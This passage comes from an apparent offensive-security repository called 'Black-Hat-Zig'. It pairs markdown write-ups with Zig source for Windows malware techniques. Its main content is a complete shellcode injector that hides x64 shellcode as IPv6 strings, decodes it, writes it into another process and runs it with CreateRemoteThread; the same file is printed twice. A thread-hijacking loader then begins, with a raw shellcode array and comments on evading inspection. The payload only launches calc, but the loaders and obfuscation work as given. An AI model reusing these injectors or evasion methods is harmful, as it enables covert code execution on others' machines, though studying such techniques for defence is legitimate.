LPVOID) callconv(.C) BOOL { _ = hModule; _ = lpReserved; switch (dwReason) { DLL_PROCESS_ATTACH => { msgBoxPayload(); }, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH => { // Do nothing for these cases }, else => { // Handle unexpected values }, } return 1; // TRUE } ``` ## /src/Malware-Techniques/Process-Injection/shellcode_injection.md # Shellcode Injection ## TL;DR [See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Injection/shellcode_injection) Shellcode injection writes raw machine code into the memory of another process and then executes it. Typically the attacker opens the target process with the required permissions, allocates executable memory, copies the shellcode bytes, and starts a remote thread at that location. The sample in this repository obfuscates the payload as an array of IPv6 strings, then decodes and injects the resulting buffer. This technique provides complete control over the victim process and is frequently used for privilege escalation or to hide malicious behavior behind a trusted process. ## Code Walkthrough ```zig title="main.zig" const std = @import("std"); const net = std.net; const windows = std.os.windows; const print = std.debug.print; const IPV6_ARRAY: [17][]const u8 = [_][]const u8{ "FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0", "AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844", "8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844", "8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841", "595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF", "D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300", }; const NUMBER_OF_ELEMENTS: usize = 17; // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const LPVOID = *anyopaque; const LPCWSTR = [*:0]const u16; const SIZE_T = usize; const PVOID = *anyopaque; // Process access rights const PROCESS_ALL_ACCESS = 0x001F0FFF; // Memory allocation constants const MEM_COMMIT = 0x1000; const MEM_RESERVE = 0x2000; const PAGE_READWRITE = 0x04; const PAGE_EXECUTE_READWRITE = 0x40; // Snapshot constants const TH32CS_SNAPPROCESS = 0x00000002; const INVALID_HANDLE_VALUE = @as(windows.HANDLE, @ptrFromInt(std.math.maxInt(usize))); // Process entry structure const PROCESSENTRY32W = extern struct { dwSize: DWORD, cntUsage: DWORD, th32ProcessID: DWORD, th32DefaultHeapID: usize, th32ModuleID: DWORD, cntThreads: DWORD, th32ParentProcessID: DWORD, pcPriClassBase: i32, dwFlags: DWORD, szExeFile: [260]u16, }; // Windows API function declarations extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(.C) HANDLE; extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL; extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE; extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID; extern "kernel32" fn WriteProcessMemory(HANDLE, LPVOID, ?*const anyopaque, SIZE_T, ?*SIZE_T) callconv(.C) BOOL; extern "kernel32" fn VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, *DWORD) callconv(.C) BOOL; extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE; extern "kernel32" fn CloseHandle(HANDLE) callconv(.C) BOOL; extern "kernel32" fn GetLastError() callconv(.C) DWORD; // Helper function to wait for Enter key fn waitForEnter() void { var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } // Convert UTF-8 string to wide string fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 { return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str); } /// Compare wide strings (case-insensitive) /// Similar to `wcscmp` in C fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool { if (str1.len != str2.len) return false; for (str1, str2) |c1, c2| { var lower_c1 = c1; var lower_c2 = c2; if (c1 >= 'A' and c1 <= 'Z') lower_c1 = c1 + ('a' - 'A'); if (c2 >= 'A' and c2 <= 'Z') lower_c2 = c2 + ('a' - 'A'); if (lower_c1 != lower_c2) return false; } return true; } fn ipv6Deobfuscation(ipv6_array: []const []const u8, allocator: std.mem.Allocator) ![]u8 { var buffer = try allocator.alloc(u8, ipv6_array.len * 16); var offset: usize = 0; for (ipv6_array) |ip| { const addr = net.Address.parseIp6(ip, 0) catch return error.InvalidIpFormat; const ip_bytes = @as([16]u8, @bitCast(addr.in6.sa.addr)); @memcpy(buffer[offset .. offset + 16], &ip_bytes); offset += 16; } return buffer; } // Get remote process handle by name fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !struct { pid: DWORD, handle: HANDLE } { const wide_process_name = try convertToWideString(allocator, process_name); defer allocator.free(wide_process_name); print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name}); const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()}); return error.SnapshotFailed; } defer _ = CloseHandle(snapshot); var process_entry = PROCESSENTRY32W{ .dwSize = @sizeOf(PROCESSENTRY32W), .cntUsage = 0, .th32ProcessID = 0, .th32DefaultHeapID = 0, .th32ModuleID = 0, .cntThreads = 0, .th32ParentProcessID = 0, .pcPriClassBase = 0, .dwFlags = 0, .szExeFile = std.mem.zeroes([260]u16), }; if (Process32FirstW(snapshot, &process_entry) == 0) { print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()}); return error.ProcessEnumFailed; } while (true) { var exe_name_len: usize = 0; while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) { exe_name_len += 1; } const exe_name = process_entry.szExeFile[0..exe_name_len]; if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) { print("[+] DONE \n", .{}); print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID}); const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID) orelse { print("[!] OpenProcess Failed With Error : {d} \n", .{GetLastError()}); return error.OpenProcessFailed; }; return .{ .pid = process_entry.th32ProcessID, .handle = handle }; } if (Process32NextW(snapshot, &process_entry) == 0) { break; } } print("[!] Process is Not Found \n", .{}); return error.ProcessNotFound; } // Inject shellcode to remote process fn injectShellcodeToRemoteProcess(process_handle: HANDLE, shellcode: []const u8) !void { const shellcode_address = VirtualAllocEx( process_handle, null, shellcode.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ) orelse { print("[!] VirtualAllocEx Failed With Error : {d} \n", .{GetLastError()}); return error.VirtualAllocExFailed; }; print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)}); print("[#] Press <Enter> To Write Payload ... ", .{}); waitForEnter(); var bytes_written: SIZE_T = 0; const write_result = WriteProcessMemory( process_handle, shellcode_address, shellcode.ptr, shellcode.len, &bytes_written, ); if (write_result == 0 or bytes_written != shellcode.len) { print("[!] WriteProcessMemory Failed With Error : {d} \n", .{GetLastError()}); return error.WriteProcessMemoryFailed; } print("[i] Successfully Written {d} Bytes\n", .{bytes_written}); // Clear the shellcode from local memory @memset(@constCast(shellcode.ptr)[0..shellcode.len], 0); var old_protection: DWORD = 0; if (VirtualProtectEx(process_handle, shellcode_address, shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) { print("[!] VirtualProtectEx Failed With Error : {d} \n", .{GetLastError()}); return error.VirtualProtectExFailed; } print("[#] Press <Enter> To Run ... ", .{}); waitForEnter(); print("[i] Executing Payload ... ", .{}); const thread_handle = CreateRemoteThread( process_handle, null, 0, @ptrCast(shellcode_address), null, 0, null, ) orelse { print("[!] CreateRemoteThread Failed With Error : {d} \n", .{GetLastError()}); return error.CreateRemoteThreadFailed; }; print("[+] DONE !\n", .{}); _ = CloseHandle(thread_handle); } pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); const args = try std.process.argsAlloc(allocator); defer std.process.argsFree(allocator, args); if (args.len < 2) { print("[!] Usage : \"{s}\" <Process Name> \n", .{args[0]}); std.process.exit(1); } const process_name = args[1]; const process_info = getRemoteProcessHandle(allocator, process_name) catch |err| switch (err) { error.ProcessNotFound => { print("[!] Process is Not Found \n", .{}); std.process.exit(1); }, else => { print("[!] Failed to get process handle\n", .{}); std.process.exit(1); }, }; defer _ = CloseHandle(process_info.handle); print("[#] Press <Enter> To Decrypt ... ", .{}); waitForEnter(); print("[i] Decrypting ...", .{}); const shellcode = ipv6Deobfuscation(&IPV6_ARRAY, allocator) catch { print("[!] IPv6 deobfuscation failed\n", .{}); std.process.exit(1); }; defer allocator.free(shellcode); print("[+] DONE !\n", .{}); print("[i] Deobfuscated Payload At : 0x{X} Of Size : {d} \n", .{ @intFromPtr(shellcode.ptr), shellcode.len }); injectShellcodeToRemoteProcess(process_info.handle, shellcode) catch |err| { print("[!] Shellcode injection failed: {}\n", .{err}); std.process.exit(1); }; print("[#] Press <Enter> To Quit ... ", .{}); waitForEnter(); } ``` ## /src/Malware-Techniques/Process-Injection/shellcode_injection/build.zig ```zig path="/src/Malware-Techniques/Process-Injection/shellcode_injection/build.zig" const std = @import("std"); pub fn build(b: *std.Build) void { const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } }); const optimize = b.standardOptimizeOption(.{}); const exe = b.addExecutable(.{ .name = "shellcode_injection", .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); b.installArtifact(exe); const run_cmd = b.addRunArtifact(exe); run_cmd.step.dependOn(b.getInstallStep()); if (b.args) |args| { run_cmd.addArgs(args); } const run_step = b.step("run", "Run the app"); run_step.dependOn(&run_cmd.step); const exe_tests = b.addTest(.{ .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); const run_exe_tests = b.addRunArtifact(exe_tests); const test_step = b.step("test", "Run unit tests"); test_step.dependOn(&run_exe_tests.step); } ``` ## /src/Malware-Techniques/Process-Injection/shellcode_injection/build.zig.zon ```zon path="/src/Malware-Techniques/Process-Injection/shellcode_injection/build.zig.zon" .{ // This is the default name used by packages depending on this one. For // example, when a user runs `zig fetch --save <url>`, this field is used // as the key in the `dependencies` table. Although the user can choose a // different name, most users will stick with this provided value. // // It is redundant to include "zig" in this name because it is already // within the Zig package namespace. .name = .shellcode_injection, // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. .version = "0.0.0", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the // package is first created, and then *never changes*. This allows // unambiguous detection of one package being an updated version of // another. // // When forking a Zig project, this id should be regenerated (delete the // field and run `zig build`) if the upstream project is still maintained. // Otherwise, the fork is *hostile*, attempting to take control over the // original project's identity. Thus it is recommended to leave the comment // on the following line intact, so that it shows up in code reviews that // modify the field. .fingerprint = 0x3e66dcdded48ab8, // Changing this has security and trust implications. // Tracks the earliest Zig version that the package considers to be a // supported use case. .minimum_zig_version = "0.14.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // Once all dependencies are fetched, `zig build` no longer requires // internet connectivity. .dependencies = .{ // See `zig fetch --save <url>` for a command-line interface for adding dependencies. //.example = .{ // // When updating this field to a new URL, be sure to delete the corresponding // // `hash`, otherwise you are communicating that you expect to find the old hash at // // the new URL. If the contents of a URL change this will result in a hash mismatch // // which will prevent zig from using it. // .url = "https://example.com/foo.tar.gz", // // // This is computed from the file contents of the directory of files that is // // obtained after fetching `url` and applying the inclusion rules given by // // `paths`. // // // // This field is the source of truth; packages do not come from a `url`; they // // come from a `hash`. `url` is just one of many possible mirrors for how to // // obtain a package matching this `hash`. // // // // Uses the [multihash](https://multiformats.io/multihash/) format. // .hash = "...", // // // When this is provided, the package is found in a directory relative to the // // build root. In this case the package's hash is irrelevant and therefore not // // computed. This field and `url` are mutually exclusive. // .path = "foo", // // // When this is set to `true`, a package is declared to be lazily // // fetched. This makes the dependency only get fetched if it is // // actually used. // .lazy = false, //}, }, // Specifies the set of files and directories that are included in this package. // Only files and directories listed here are included in the `hash` that // is computed for this package. Only files listed here will remain on disk // when using the zig package manager. As a rule of thumb, one should list // files required for compilation plus any license(s). // Paths are relative to the build root. Use the empty string (`""`) to refer to // the build root itself. // A directory listed here means that all files within, recursively, are included. .paths = .{ "build.zig", "build.zig.zon", "src", // For example... //"LICENSE", //"README.md", }, } ``` ## /src/Malware-Techniques/Process-Injection/shellcode_injection/src/main.zig ```zig path="/src/Malware-Techniques/Process-Injection/shellcode_injection/src/main.zig" const std = @import("std"); const net = std.net; const windows = std.os.windows; const print = std.debug.print; const IPV6_ARRAY: [17][]const u8 = [_][]const u8{ "FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0", "AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844", "8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844", "8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841", "595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF", "D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300", }; const NUMBER_OF_ELEMENTS: usize = 17; // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const LPVOID = *anyopaque; const LPCWSTR = [*:0]const u16; const SIZE_T = usize; const PVOID = *anyopaque; // Process access rights const PROCESS_ALL_ACCESS = 0x001F0FFF; // Memory allocation constants const MEM_COMMIT = 0x1000; const MEM_RESERVE = 0x2000; const PAGE_READWRITE = 0x04; const PAGE_EXECUTE_READWRITE = 0x40; // Snapshot constants const TH32CS_SNAPPROCESS = 0x00000002; const INVALID_HANDLE_VALUE = @as(windows.HANDLE, @ptrFromInt(std.math.maxInt(usize))); // Process entry structure const PROCESSENTRY32W = extern struct { dwSize: DWORD, cntUsage: DWORD, th32ProcessID: DWORD, th32DefaultHeapID: usize, th32ModuleID: DWORD, cntThreads: DWORD, th32ParentProcessID: DWORD, pcPriClassBase: i32, dwFlags: DWORD, szExeFile: [260]u16, }; // Windows API function declarations extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(.C) HANDLE; extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL; extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE; extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID; extern "kernel32" fn WriteProcessMemory(HANDLE, LPVOID, ?*const anyopaque, SIZE_T, ?*SIZE_T) callconv(.C) BOOL; extern "kernel32" fn VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, *DWORD) callconv(.C) BOOL; extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE; extern "kernel32" fn CloseHandle(HANDLE) callconv(.C) BOOL; extern "kernel32" fn GetLastError() callconv(.C) DWORD; // Helper function to wait for Enter key fn waitForEnter() void { var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } // Convert UTF-8 string to wide string fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 { return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str); } /// Compare wide strings (case-insensitive) /// Similar to `wcscmp` in C fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool { if (str1.len != str2.len) return false; for (str1, str2) |c1, c2| { var lower_c1 = c1; var lower_c2 = c2; if (c1 >= 'A' and c1 <= 'Z') lower_c1 = c1 + ('a' - 'A'); if (c2 >= 'A' and c2 <= 'Z') lower_c2 = c2 + ('a' - 'A'); if (lower_c1 != lower_c2) return false; } return true; } fn ipv6Deobfuscation(ipv6_array: []const []const u8, allocator: std.mem.Allocator) ![]u8 { var buffer = try allocator.alloc(u8, ipv6_array.len * 16); var offset: usize = 0; for (ipv6_array) |ip| { const addr = net.Address.parseIp6(ip, 0) catch return error.InvalidIpFormat; const ip_bytes = @as([16]u8, @bitCast(addr.in6.sa.addr)); @memcpy(buffer[offset .. offset + 16], &ip_bytes); offset += 16; } return buffer; } // Get remote process handle by name fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !struct { pid: DWORD, handle: HANDLE } { const wide_process_name = try convertToWideString(allocator, process_name); defer allocator.free(wide_process_name); print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name}); const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()}); return error.SnapshotFailed; } defer _ = CloseHandle(snapshot); var process_entry = PROCESSENTRY32W{ .dwSize = @sizeOf(PROCESSENTRY32W), .cntUsage = 0, .th32ProcessID = 0, .th32DefaultHeapID = 0, .th32ModuleID = 0, .cntThreads = 0, .th32ParentProcessID = 0, .pcPriClassBase = 0, .dwFlags = 0, .szExeFile = std.mem.zeroes([260]u16), }; if (Process32FirstW(snapshot, &process_entry) == 0) { print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()}); return error.ProcessEnumFailed; } while (true) { var exe_name_len: usize = 0; while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) { exe_name_len += 1; } const exe_name = process_entry.szExeFile[0..exe_name_len]; if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) { print("[+] DONE \n", .{}); print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID}); const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID) orelse { print("[!] OpenProcess Failed With Error : {d} \n", .{GetLastError()}); return error.OpenProcessFailed; }; return .{ .pid = process_entry.th32ProcessID, .handle = handle }; } if (Process32NextW(snapshot, &process_entry) == 0) { break; } } print("[!] Process is Not Found \n", .{}); return error.ProcessNotFound; } // Inject shellcode to remote process fn injectShellcodeToRemoteProcess(process_handle: HANDLE, shellcode: []const u8) !void { const shellcode_address = VirtualAllocEx( process_handle, null, shellcode.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ) orelse { print("[!] VirtualAllocEx Failed With Error : {d} \n", .{GetLastError()}); return error.VirtualAllocExFailed; }; print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)}); print("[#] Press <Enter> To Write Payload ... ", .{}); waitForEnter(); var bytes_written: SIZE_T = 0; const write_result = WriteProcessMemory( process_handle, shellcode_address, shellcode.ptr, shellcode.len, &bytes_written, ); if (write_result == 0 or bytes_written != shellcode.len) { print("[!] WriteProcessMemory Failed With Error : {d} \n", .{GetLastError()}); return error.WriteProcessMemoryFailed; } print("[i] Successfully Written {d} Bytes\n", .{bytes_written}); // Clear the shellcode from local memory @memset(@constCast(shellcode.ptr)[0..shellcode.len], 0); var old_protection: DWORD = 0; if (VirtualProtectEx(process_handle, shellcode_address, shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) { print("[!] VirtualProtectEx Failed With Error : {d} \n", .{GetLastError()}); return error.VirtualProtectExFailed; } print("[#] Press <Enter> To Run ... ", .{}); waitForEnter(); print("[i] Executing Payload ... ", .{}); const thread_handle = CreateRemoteThread( process_handle, null, 0, @ptrCast(shellcode_address), null, 0, null, ) orelse { print("[!] CreateRemoteThread Failed With Error : {d} \n", .{GetLastError()}); return error.CreateRemoteThreadFailed; }; print("[+] DONE !\n", .{}); _ = CloseHandle(thread_handle); } pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); const args = try std.process.argsAlloc(allocator); defer std.process.argsFree(allocator, args); if (args.len < 2) { print("[!] Usage : \"{s}\" <Process Name> \n", .{args[0]}); std.process.exit(1); } const process_name = args[1]; const process_info = getRemoteProcessHandle(allocator, process_name) catch |err| switch (err) { error.ProcessNotFound => { print("[!] Process is Not Found \n", .{}); std.process.exit(1); }, else => { print("[!] Failed to get process handle\n", .{}); std.process.exit(1); }, }; defer _ = CloseHandle(process_info.handle); print("[#] Press <Enter> To Decrypt ... ", .{}); waitForEnter(); print("[i] Decrypting ...", .{}); const shellcode = ipv6Deobfuscation(&IPV6_ARRAY, allocator) catch { print("[!] IPv6 deobfuscation failed\n", .{}); std.process.exit(1); }; defer allocator.free(shellcode); print("[+] DONE !\n", .{}); print("[i] Deobfuscated Payload At : 0x{X} Of Size : {d} \n", .{ @intFromPtr(shellcode.ptr), shellcode.len }); injectShellcodeToRemoteProcess(process_info.handle, shellcode) catch |err| { print("[!] Shellcode injection failed: {}\n", .{err}); std.process.exit(1); }; print("[#] Press <Enter> To Quit ... ", .{}); waitForEnter(); } ``` ## /src/Malware-Techniques/Thread-Hijacking/local_thread_creation.md # Local Thread Creation ## TL;DR [See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Thread-Hijacking/local_thread_creation/) Local thread creation is a stealthy way to run shellcode within the context of the current process. Instead of launching an entirely new program, the malware spawns a thread in a suspended state and alters its execution context so the instruction pointer jumps to the payload. When resumed, the thread appears to be part of the normal application yet secretly executes arbitrary code. This approach avoids creating new processes and helps the malicious activity blend in with legitimate threads, making casual inspection much harder. ## Code Walkthrough ```zig title="main.zig" // NOTE: // We run our payload in a hijacked thread instead of the one we created. // This is because the entry of the thread we created must pointed to the // base address of our payload in memory, while the hijacked one will pointed // to the normal process function, so it will let the thread seems harmless, // which is a good news for us. const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const PVOID = windows.PVOID; const PBYTE = [*]u8; const SIZE_T = windows.SIZE_T; const WINAPI = windows.WINAPI; const LPTHREAD_START_ROUTINE = *const fn (?*anyopaque) callconv(WINAPI) DWORD; // Memory protection constants const PAGE_READWRITE: DWORD = windows.PAGE_READWRITE; const PAGE_EXECUTE_READWRITE: DWORD = windows.PAGE_EXECUTE_READWRITE; const MEM_COMMIT: DWORD = windows.MEM_COMMIT; const MEM_RESERVE: DWORD = windows.MEM_RESERVE; // Thread creation constants const CREATE_SUSPENDED: DWORD = 0x00000004; const INFINITE: DWORD = 0xFFFFFFFF; // Context flags const CONTEXT_CONTROL: DWORD = 0x00000001; const CONTEXT_ALL: DWORD = 0x00100000 | 0x00000001 | 0x00000002 | 0x00000004 | 0x00000008 | 0x00000010; // Thread context structure for x64 const CONTEXT = extern struct { // Register parameter home addresses (reserved for debugger use) P1Home: u64, P2Home: u64, P3Home: u64, P4Home: u64, P5Home: u64, P6Home: u64, // Control flags ContextFlags: DWORD, MxCsr: DWORD, // Segment registers and processor flags SegCs: u16, SegDs: u16, SegEs: u16, SegFs: u16, SegGs: u16, SegSs: u16, EFlags: DWORD, // Debug registers Dr0: u64, Dr1: u64, Dr2: u64, Dr3: u64, Dr6: u64, Dr7: u64, // Integer registers Rax: u64, Rcx: u64, Rdx: u64, Rbx: u64, Rsp: u64, Rbp: u64, Rsi: u64, Rdi: u64, R8: u64, R9: u64, R10: u64, R11: u64, R12: u64, R13: u64, R14: u64, R15: u64, // Program counter Rip: u64, // Floating point state FltSave: [512]u8, // XMM_SAVE_AREA32 // Vector registers VectorRegister: [26][16]u8, VectorControl: u64, // Special debug control registers DebugControl: u64, LastBranchToRip: u64, LastBranchFromRip: u64, LastExceptionToRip: u64, LastExceptionFromRip: u64, }; // External function declarations extern "kernel32" fn CreateThread( lpThreadAttributes: ?*anyopaque, dwStackSize: SIZE_T, lpStartAddress: LPTHREAD_START_ROUTINE, lpParameter: ?*anyopaque, dwCreationFlags: DWORD, lpThreadId: ?*DWORD, ) callconv(WINAPI) ?HANDLE; extern "kernel32" fn VirtualAlloc( lpAddress: ?*anyopaque, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD, ) callconv(WINAPI) ?*anyopaque; extern "kernel32" fn VirtualProtect( lpAddress: *anyopaque, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: *DWORD, ) callconv(WINAPI) BOOL; extern "kernel32" fn GetThreadContext( hThread: HANDLE, lpContext: *CONTEXT, ) callconv(WINAPI) BOOL; extern "kernel32" fn SetThreadContext( hThread: HANDLE, lpContext: *const CONTEXT, ) callconv(WINAPI) BOOL; extern "kernel32" fn ResumeThread(hThread: HANDLE) callconv(WINAPI) DWORD; extern "kernel32" fn WaitForSingleObject(hHandle: HANDLE, dwMilliseconds: DWORD) callconv(WINAPI) DWORD; extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL; extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD; const calc_payload = [_]u8{ 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00 }; // Dummy function to use for the sacrificial thread fn DummyFunction(lpParameter: ?*anyopaque) callconv(WINAPI) DWORD { _ = 